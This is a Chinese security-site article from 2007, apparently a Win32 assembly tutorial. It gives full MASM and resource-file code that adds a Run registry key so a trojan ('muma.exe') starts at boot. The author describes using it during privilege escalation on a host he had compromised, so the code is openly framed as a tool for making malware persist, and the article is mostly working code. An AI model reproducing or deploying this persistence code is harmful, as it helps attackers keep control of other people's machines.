执着成就未来 技术成就梦想
文字横幅以及760*60黄金广告位置招租,欢迎恰谈! 广告业务联系QQ:8019399 声明:在本站所投放广告内容均与本站立场无关!

您现在的位置: 中国安全在线 >> 攻防技术 >> 网络编程 >> 文章正文 用户登录 新用户注册
专 题 栏 目
最 新 热 门
最 新 推 荐
相 关 文 章
使用route命令解决一机双网访问
使用SNMP服务后的安全防范技术讲解
使用pcap编写自己的sniffer
Iris网络嗅探器使用与技巧
Sniffer pro 使用辅助说明
免杀修改特征码需要掌握的汇编知识
Hxdef100的配置和使用方法
使用Magic Winmail 来提升权限
使用webshell突破虚拟主机权限设置
网络管理员及攻击者的好帮手Wget使
使用汇编写进注册表启动的简单例子
作者:佚名 来源:安全在线 更新时间:2007-1-15 【字体:
<%=(int(rnd()*1)+1)%>您当前的位置:中国安全在线cnsafer.com 请进入[技术论坛]发表评论

阅读提示:

以下是我初学win32汇编的的笔记,学那么久了,也该丢篇文章出来,呵呵。

对注册表的操作,例如写入,修改,删除,在一些高级语言,例如 C/C++ VB中都有对注册表操作的API,但是我感觉用win32汇编写,比较适合我自己。例如,创建一个REG_SZ类型的数值,就用RegCreateKey创建一个新项,在API手册中,对它的介绍是“在指定的项下创建一个新项。如指定的项已经存在,那么函数会打开现有的项,如果返回ERROR_SUCCESS,则表示成功”在创建一个新项后,就要用RegSetValueEx设置它的数值,具体的代码如下:

CODE:



.386

.model flat, stdcall

option casemap :none

include     windows.inc

include     user32.inc

includelib   user32.lib

include     kernel32.inc

includelib   kernel32.lib

include     advapi32.inc

includelib   advapi32.lib

.data

szRegKey         db     'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0

szRegValue db     'Start',0 ;键值名称

szStr1           db   "c:\windwos\muma.exe" ;数据

.code

start:

_EnumKey   proc   _lpKey

  local   @hKey,@dwIndex,@dwLastTime:FILETIME

  

  invoke   RegCreateKey,HKEY_LOCAL_MACHINE,offset szRegKey,addr @hKey

  .if   eax == ERROR_SUCCESS

  invoke   RegSetValueEx,@hKey,addr szRegValue,NULL,\

          REG_SZ,addr szStr1,19 ;写入一个REG_SZ类型的数据

  invoke   RegCloseKey,@hKey

  .endif

  ret

_EnumKey     endp

invoke   _EnumKey,NULL

end start

程序中,利用伪指令invoke调用了RegCreateKey,关于RegCreateKey的参数,是这样描述“

invoke RegCreateKeyEx,hKey,lpSubKey,Reserved,lpClass,dwOptions,samDesired,

lpSecurityAttributes,phkResult,lpdwDisposition”

其中hKey用来指定了我们要创建新项的根建,当我们这样“invoke RegCreateKey,

HKEY_LOCAL_MACHINE,offset szRegKey,addr @hKey”调用的时候就在“HKEY_LOCAL_MACHINE”这个根建下进行操作,然后设置 “eax == ERROR_SUCCESS” ,说明了操作成功,这样,我们便可以使用RegSetValueEx设置数据名称和值。“invoke RegSetValueEx,@hKey,addr szRegValue,NULL, REG_SZ,addr szStr1,19” 创建了一个“Start”键值名称,它的数据值为“c:\windwos\muma.exe”,写入的子键位置在注册表启动。当然了,我们也可以设置一个REG_DWORD类型的数据值。

记得有一次我提权的时候,发现主机的环境是,有执行exe文件的权限,不过不知道为什么,给它放个鸽子,就提示说“文件尾数超出”,传了个较小一点的木马,运行效果也是不满意。自然想到写一个再小的东西,也就是上面那个代码,然后编译,才2.5K,汗,执行速度绝对一流,然后又设置了木马的路径。

接着,如果把它写成GUI界面的,自然要给它定义一个资源文件,并且加入消息列队执行..下面是GUI界面的代码:

CODE:



.386

.model flat, stdcall

option casemap :none

include     windows.inc

include     user32.inc

includelib   user32.lib

include     kernel32.inc

includelib   kernel32.lib

include     advapi32.inc

includelib   advapi32.lib

ICO_MAIN   equ 1000

DLG_MAIN   equ 1000

IDC_Innovation equ 1001

.data?

hInstance dd ?

.data

szRegKey         db     'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0

szRegValue db     'Start',0 ;键值名称

szStr1           db   "c:\windwos\muma.exe" ;数据

szTitle db '操作成功',0

szCaption db '已经把c:\windwos\muma.exe设置为开机启动',0

.code

_EnumKey   proc   _lpKey

  local   @hKey,@dwIndex,@dwLastTime:FILETIME

  

invoke   RegCreateKey,HKEY_LOCAL_MACHINE,offset szRegKey,addr @hKey

  .if   eax == ERROR_SUCCESS

  invoke   RegSetValueEx,@hKey,addr szRegValue,NULL,\

          REG_SZ,addr szStr1,19 ;写入一个REG_SZ类型的数据

  invoke   RegCloseKey,@hKey

  .endif

  ret

_EnumKey     endp

_ProcDlgMain proc uses ebx edi esi hWnd,wMsg,wParam,lParam

local @szBuffer[128]:byte

local @stFindFile:WIN32_FIND_DATA

mov eax,wMsg

.if eax == WM_CLOSE ;这里程序退出

    invoke EndDialog,hWnd,NULL

.elseif eax == WM_INITDIALOG

invoke LoadIcon,hInstance,ICO_MAIN

.elseif eax == WM_COMMAND

mov eax,wParam

.if ax == IDCANCEL

invoke EndDialog,hWnd,NULL

.elseif ax == IDC_Innovation

  invoke   _EnumKey,NULL ;调用子程序完成写入操作

  invoke MessageBox,NULL,addr szCaption,addr szTitle,MB_OK

.endif

.else

mov eax,FALSE

ret

.endif

mov eax,TRUE

ret



_ProcDlgMain endp

start:

invoke GetModuleHandle,NULL

mov hInstance,eax

invoke DialogBoxParam,hInstance,DLG_MAIN,NULL,offset _ProcDlgMain,NULL   

invoke ExitProcess,NULL

end start

程序的变动不大,仅创建了一个模块对话框,只要几行代码就搞定.模块对话框的使用,省去了创建窗口,注册窗口类的麻烦.在_ProcDlgMain主程序中,WM_COMMAND是执行消息的标志,比如IDCANCEL,这个是“退出”,点击,消息列队执行,然后“invoke EndDialog,hWnd,NULL”关闭主程序,干净利落. 相同的,“IDC_Innovation”后,调用_EnumKey子程序,_EnumKey执行的过程,也就写入了启动位置,写完后,设置一个MessageBox提示操作成功。

下面是RC资源文件代码:

CODE:



//>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

#include   <resource.h>

//>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

#define ICO_MAIN   1000

#define DLG_MAIN   1000

#define IDC_Innovation 1001

//>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

ICO_MAIN ICON   "Main.ico"

//>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

DLG_MAIN DIALOG 105, 107, 190, 100

STYLE DS_MODALFRAME | WS_POPUP | WS_VISIBLE | WS_CAPTION | WS_SYSMENU

CAPTION "写进注册表启动"

FONT 9, "宋体"

{

PUSHBUTTON "退出(&X)", IDCANCEL, 15, 15, 70, 35

PUSHBUTTON "开始写入数据(&I)", IDC_Innovation, 100, 15, 70, 35

}

//>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

您对本文章有什么意见或着疑问吗?请到论坛讨论您的关注和建议是我们前行的参考和动力

文章录入:ls1238    责任编辑:ls1238 
  • 上一篇文章:

  • 下一篇文章:
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
    网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)
    | 设为首页 | 加入收藏 | 联系方式 | 友 情链接 | 关于我们 | 网站留言 |
    Copyright ?2003-2008 www.cnsafer.com All Rights Reserved.
    如有意见请与我们联系 Email:admin#mail.cnsafer.com 联系QQ:8589101
    中国安全在线友情提示:建议使用IE6.0或以上版本, 分辩率1024*768进行浏览
    敢想 敢做 挑战自我 努力做最好 打造最优秀的新手成长 第一起跑线
    中网科技有限公司 技术支持 鄂ICP备05006475号